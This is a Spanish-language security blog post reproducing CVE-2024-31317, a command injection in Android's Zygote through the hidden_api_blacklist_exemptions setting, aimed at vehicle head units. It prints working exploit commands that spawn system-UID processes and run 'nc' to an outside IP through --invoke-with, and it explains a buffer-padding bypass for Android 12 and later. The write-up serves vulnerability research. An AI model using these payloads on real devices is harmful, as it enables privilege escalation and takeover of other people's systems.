
CVE-2024-31317
Hace un par de días vi que la cuenta oficial de JD publicó un análisis de la vulnerabilidad CVE-2024-31317. Después de leerlo completo, me pareció bastante interesante, y dado que las soluciones principales actuales para unidades de cabeza (head units) de vehículos son sistemas Android y todas están dentro del alcance limitado de esta vulnerabilidad, decidí reproducirla.
Como es una escalada de privilegios a nivel de usuario, primero se necesita obtener los permisos del usuario correspondiente. Por lo tanto, en el escenario de la Internet de los Vehículos (IoV) existen ciertas limitaciones. La práctica principal actual es restringir los APK de Android con firmas desconocidas e impedir habilitar directamente el modo de ingeniería y ADB. Sin embargo, combinarlo con otras vulnerabilidades o trucos sigue siendo bastante fiable, ya que System puede hacer muchas cosas. Además, hay que tener en cuenta que esta vulnerabilidad requiere el permiso WRITE_SECURE_SETTINGS. Por defecto, ADB tiene este permiso, por lo que resulta muy provechoso utilizarlo para escalar privilegios después de obtener el modo de ingeniería. Si no se puede usar ADB directamente, habrá que combinarlo con otras vulnerabilidades para obtenerlo.
La vulnerabilidad es una inyección de comandos. El análisis general no es difícil, pero antes de analizarla aún hay que conocer Zygote. Zygote se ejecuta como un proceso daemon y puede crear procesos de aplicación mediante fork, aceptando comandos de socket UNIX en /dev/socket/zygote. Cada comando comienza con un número decimal, seguido del número de argumentos correspondiente a dicho número.
8 [comando #1 recuento de argumentos]
--runtime-args [arg #1: vestigial, necesario para el spawn de procesos]
--setuid=10266 [arg #2: UID del proceso]
--setgid=10266 [arg #3: GID del proceso]
--target-sdk-version=31 [args #4-#7: parámetros varios de la app]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread [arg #8: punto de entrada Java]
3 [comando #2 recuento de argumentos]
--set-api-denylist-exemptions [arg #1: argumento especial, no spawn de proceso]
LClass1;->method1( [args #2, #3: entradas de la denylist]
LClass1;->field1:
Al hacer diff del archivo path se puede ver que el contenido modificado consiste en añadir comentarios de salto de línea, lo que demuestra indirectamente que en versiones antiguas podemos inyectar comandos mediante saltos de línea para lograr iniciar un nuevo proceso.
Si seguimos rastreando hacia arriba la llamada a esta función, podemos ver que desde la lectura inicial del valor de HIDDEN_API_BLACKLIST_EXEMPTIONS hasta todas las transferencias posteriores no hay ninguna operación de filtrado, es decir, es posible que inyectemos directamente argumentos arbitrarios.
Entonces es natural pensar que, mientras tengamos una forma de controlar el valor de HIDDEN_API_BLACKLIST_EXEMPTIONS, podemos inyectar nuestros argumentos personalizados. Como se mencionó antes, para establecer ese valor necesitamos el permiso WRITE_SECURE_SETTINGS. ADB tiene este permiso por defecto; solo hay que ejecutar el comando settings put global hidden_api_blacklist_exemptions command mediante el comando settings del sistema. Así, podemos intentar inyectar un nuevo proceso de forma similar a la siguiente:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
8
--runtime-args
--setuid=1000
--setgid=1000
--nice-name=com.android.settings
--app-data-dir=/data/user/0/com.android.settings
--package-name=com.android.settings
--seinfo=platform:system_app:targetSdkVersion=29:complete
android.app.ActivityThread"
Pero parece que esto no satisface nuestras necesidades; todavía no se puede ejecutar un comando. Mediante el análisis se descubrió que el parámetro invokeWith puede permitir la ejecución de comandos.
Entonces lo siguiente es muy sencillo; solo tenemos que construir un comando similar al siguiente:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
6
--runtime-args
--setuid=1000
--setgid=1000
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
En este punto descubriremos que no se puede activar con éxito. Al revisar logcat veremos que devuelve la siguiente información, indicando que se necesita el modo debug. Entonces, ¿cómo hacemos para que entre en debug?
Continuando con la consulta del código, se puede ver que al inicio existe el parámetro runtime-flags, usado para configurar las propiedades de debug.
Los parámetros configurables son los siguientes:
Por lo tanto, solo tenemos que añadir este parámetro al inicio y habilitar todas las propiedades de debug. El comando modificado queda así:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
7
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=43267
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
Después de ejecutarlo, nc captura con éxito la solicitud de red.

En Android 11 y versiones inferiores se puede usar el método anterior para una explotación sencilla, pero a partir de Android 12 Google implementó un parser de comandos C++ de ruta rápida para reforzar el parser de comandos Java de Zygote, y utiliza la nueva clase NativeCommandBuffer para completar esa tarea. NativeCommandBuffer, después de analizar todos los argumentos de la línea de comandos, descarta todo el contenido posterior y vuelve a leer el siguiente comando desde el socket. Es decir, cuando inyectamos dos comandos, descarta nuestro contenido inyectado, impidiendo que la inyección ocurra. Entonces se necesita un método para evadir la primera llamada a read(). Aquí se sigue principalmente el método del autor original: insertar una gran cantidad de comas al final, de modo que maybeSetApiDenylistExemptions() pase una gran cantidad de tiempo en un bucle después de escribir, aumentando el intervalo de tiempo intermedio. La lógica principal es que
maybeSetApiDenylistExemptions() llama varias veces a state.mZygoteOutputWriter.write(), pero estas llamadas no se mapean directamente a la escritura en el socket, porque mZygoteOutputWriter hereda de BufferedWriter, que agrega los datos del búfer interno antes de escribir en la transmisión subyacente. Este mecanismo proporciona una forma ya preparada de emitir dos escrituras al socket con una demora adecuada entre ellas.
El tamaño del búfer de BufferedWriter es de 8192 bytes, mucho menor que el búfer de Zygote. Aquí solo hay que llenarlo hasta 8192 bytes antes de insertar el comando malicioso inyectado, forzando a a escribir primero esos datos.
En realidad, este artículo debería haberse escrito hace tiempo, pero estuve ocupado y se me olvidó 😷. Además, al participar en el ejercicio de "Zhuwang" (fortalecimiento de red) aproveché esta vulnerabilidad para ganar bastantes puntos. Recientemente, un proyecto de pruebas en el que estuve trabajando resultó ser una unidad de cabeza Android, así que recordé este blog a medio escribir y decidí anotarlo rápidamente mientras aún podía recordar algo. También agradezco mucho la ayuda del experto flanker durante la reproducción de esta vulnerabilidad, que me evitó un montón de problemas.
BufferedWriter